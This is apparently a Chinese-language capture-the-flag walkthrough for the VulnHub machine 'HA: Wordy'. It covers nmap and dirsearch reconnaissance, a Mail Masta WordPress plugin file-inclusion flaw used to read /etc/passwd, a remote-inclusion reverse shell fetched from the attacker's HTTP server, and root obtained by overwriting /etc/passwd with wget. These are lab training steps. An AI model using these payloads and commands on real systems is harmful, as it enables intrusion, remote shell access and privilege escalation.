HA: Wordy靶场

HA: Wordy

来自 < HA: Wordy ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.130

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.130

4,这个网站是一个默认页面

dirsearch -u http://192.168.23.130/ -x 403,404

网站应该是一个wordpress建站系统

查看网站安装的插件

检索这个插件存在的漏洞

searchsploit mail masta

然后查看漏洞利用方法

searchsploit -m 40290.txt

cat 40290.txt

http://192.168.23.130/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

漏洞利用成功,尝试污染日志文件,然后通过文件包含漏洞getshell。

5,第二种方法,测试是否存在远程文件包含漏洞

http://192.168.23.130/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=https://www.baidu.com

存在,那么就可以通过远程文件包含漏洞进行写马操作,使用kali自带的木马

cp /usr/share/webshells/php/php-reverse-shell.php .

mv php-reverse-shell.php shell.php

vim shell.php

注意修改反弹shell的IP和端口

python -m http.server

http://192.168.23.130/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=http://192.168.23.128:8000/shell.php

与此同时需要打开对4444端口的监听

nc -lvvp 4444

成功getshell

6,使用python脚本启动一个交互式shell,没有python这个命令

查看一下怎么提权

sudo -l

find / -type f -perm -u=s -user root 2>/dev/null

使用wget -O 提权,利用wget -O命令覆盖/etc/passwd文件

在kali上创建文本文件,取名passwd,并将靶机/etc/passwd文件的内容复制进去。因为之后要覆盖靶机的/etc/passwd,所以名字要一模一样

vim passwd

openssl passwd -1 123456

cat passwd

然后再开启一个

python -m http.server

cd /tmp

wget http://192.168.23.128:8000/passwd

cp passwd /etc/passwd

python3 -c 'import pty;pty.spawn("/bin/bash")'

su

相关推荐
tingshuo291710 小时前
S001 【模板】从前缀函数到KMP应用 字符串匹配 字符串周期
笔记
用户9623779544814 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机18 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机18 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544819 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star19 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
西岸行者6 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习